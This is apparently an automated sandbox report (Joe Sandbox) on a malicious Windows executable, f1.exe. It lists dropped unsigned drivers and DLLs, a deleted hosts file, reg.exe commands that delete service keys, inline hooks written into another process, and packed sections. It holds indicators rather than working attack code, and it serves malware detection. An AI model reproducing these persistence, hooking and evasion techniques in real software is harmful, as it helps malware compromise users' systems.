Source: C:\Users\user\Desktop\f1.exe

File created: C:\Windows\SysWOW64\2649hsXWi.sys

Jump to behavior

Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\2649hsXWi.sys	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\F705A27.sys	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\CB8C7NLdg.sys	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\6E8EJNeaX.sys	Jump to behavior

Source: C:\Users\user\Desktop\f1.exe

File deleted: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Windows\SysWOW64\6E8EJNeaX.sys 9152FD4EB4FB613F415C8E1B6B51B0B6EC3659CEBD5A2FD6FF76AB20312F8F0B

Source: f1.exe, 00000006.00000003.1409332437.0000000005CEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMultiPluginDll.dllJ vs f1.exe
Source: f1.exe, 00000006.00000003.1409467806.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMultiPluginDll.dllJ vs f1.exe
Source: f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMultiPluginDll.dllJ vs f1.exe
Source: f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMu vs f1.exe
Source: f1.exe, 00000006.00000003.1311263415.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMultiPluginDll.dllJ vs f1.exe
Source: f1.exe, 00000006.00000002.3758519822.0000000005D52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuVFP vs f1.exe

Source: f1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\f1.exe

Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\2649hsXWi /f

Source: classification engine

Classification label: mal100.evad.winEXE@19/11@113/41

Source: C:\Users\user\Desktop\f1.exe

File created: C:\Users\user\Desktop\MultiSys

Jump to behavior

Source: C:\Users\user\Desktop\f1.exe	Mutant created: \Sessions\1\BaseNamedObjects\F705A2727393B
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7236:120:WilError_03

Source: C:\Users\user\Desktop\f1.exe

File created: C:\Users\user~1\AppData\Local\Temp\MKss.ini

Jump to behavior

Source: C:\Users\user\Desktop\f1.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\f1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: f1.exe	ReversingLabs: Detection: 44%
Source: f1.exe	Virustotal: Detection: 48%

Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Source: unknown	Process created: C:\Users\user\Desktop\f1.exe "C:\Users\user\Desktop\f1.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: C:\Users\user\Desktop\f1.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\2649hsXWi /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\f1.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\CB8C7NLdg /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\f1.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\2649hsXWi /f	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\CB8C7NLdg /f	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usosvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: updatepolicy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usocoreps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usoapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll	Jump to behavior

Source: C:\Users\user\Desktop\f1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\f1.exe

File written: C:\Users\user\AppData\Local\Temp\MKss.ini

Jump to behavior

Source: C:\Users\user\Desktop\f1.exe

Window detected: Number of UI elements: 16

Source: f1.exe

Static file information: File size 24454144 > 1048576

Source: f1.exe

Static PE information: Raw size of .data31 is bigger than: 0x100000 < 0x16f5200

Source: f1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: f1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: f1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: f1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: f1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: f1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: f1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: f1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: f:\funny\publish\MultiLoginWindow.pdb source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3757952840.0000000003BF3000.00000080.00000001.01000000.00000004.sdmp
Source:	Binary string: f:\funny\publish\MultiLoginWindow.pdbT source: f1.exe, 00000006.00000002.3757952840.0000000003BF3000.00000080.00000001.01000000.00000004.sdmp
Source:	Binary string: F:\funny\MultiLoginWindow\Release\MultiPluginDll.pdb source: f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1311263415.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nDll.pdb source: f1.exe, 00000006.00000002.3758519822.0000000005D52000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\funny\MultiLoginWindow\Release\MultiPluginDll.pdbp source: f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\funny\MultiLoginWindow\Release\MultiPluginDll.pdb source: f1.exe, 00000006.00000003.1409332437.0000000005CEA000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1409467806.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp, 75F55GpM.dll.6.dr, A32272954.dll.6.dr
Source:	Binary string: F:\funny\MultiLoginWindow\Release\MultiPluginDll.pdb* source: f1.exe, 00000006.00000003.1311263415.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp

Source: initial sample

Static PE information: section where entry point is pointing to: .data31

Source: f1.exe	Static PE information: section name: .data30
Source: f1.exe	Static PE information: section name: .data31
Source: 2649hsXWi.sys.6.dr	Static PE information: section name: .vvd0
Source: 2649hsXWi.sys.6.dr	Static PE information: section name: .vvd1
Source: F705A27.sys.6.dr	Static PE information: section name: .vvd0
Source: F705A27.sys.6.dr	Static PE information: section name: .vvd1
Source: CB8C7NLdg.sys.6.dr	Static PE information: section name: .vvd0
Source: CB8C7NLdg.sys.6.dr	Static PE information: section name: .vvd1
Source: 6E8EJNeaX.sys.6.dr	Static PE information: section name: .vvd0
Source: 6E8EJNeaX.sys.6.dr	Static PE information: section name: .vvd1
Source: A32272954.dll.6.dr	Static PE information: section name: .vvvt0
Source: A32272954.dll.6.dr	Static PE information: section name: .vvvt1
Source: 75F55GpM.dll.6.dr	Static PE information: section name: .vvvt0
Source: 75F55GpM.dll.6.dr	Static PE information: section name: .vvvt1

Source: 2649hsXWi.sys.6.dr	Static PE information: section name: .vvd1 entropy: 7.845163758761087
Source: F705A27.sys.6.dr	Static PE information: section name: .vvd1 entropy: 7.885841924412529
Source: CB8C7NLdg.sys.6.dr	Static PE information: section name: .vvd1 entropy: 7.885841924412529
Source: 6E8EJNeaX.sys.6.dr	Static PE information: section name: .vvd1 entropy: 7.8620982373864745
Source: A32272954.dll.6.dr	Static PE information: section name: .vvvt1 entropy: 7.869772054549854
Source: 75F55GpM.dll.6.dr	Static PE information: section name: .vvvt1 entropy: 7.869772054549854

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\2649hsXWi.sys	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\F705A27.sys	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\CB8C7NLdg.sys	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\6E8EJNeaX.sys	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\Desktop\f1.exe	Process created: reg.exe
Source: C:\Users\user\Desktop\f1.exe	Process created: reg.exe
Source: C:\Users\user\Desktop\f1.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\2649hsXWi.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\F705A27.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\6E8EJNeaX.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Users\user\Desktop\MultiSys\A32272954.dll	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Users\user\Desktop\MultiSys\75F55GpM.dll	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\CB8C7NLdg.sys	Jump to dropped file

Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\2649hsXWi.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\F705A27.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\6E8EJNeaX.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	File created: C:\Windows\SysWOW64\CB8C7NLdg.sys	Jump to dropped file

Source: C:\Users\user\Desktop\f1.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\F705A27

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\f1.exe	Memory written: PID: 3180 base: 778A0005 value: E9 2B BA E8 FF	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Memory written: PID: 3180 base: 7772BA30 value: E9 6B 9E 96 89	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Memory written: PID: 3180 base: 778A0017 value: E9 7C 8E ED FF	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Memory written: PID: 3180 base: 77778E90 value: E9 9B CA 91 89	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Memory written: PID: 3180 base: 77090005 value: E9 8B 8A 54 FF	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Memory written: PID: 3180 base: 765D8A90 value: E9 1B CD AB 8A	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Memory written: PID: 3180 base: 77090014 value: E9 1C 02 57 FF	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Memory written: PID: 3180 base: 76600230 value: E9 0B 56 A9 8A	Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
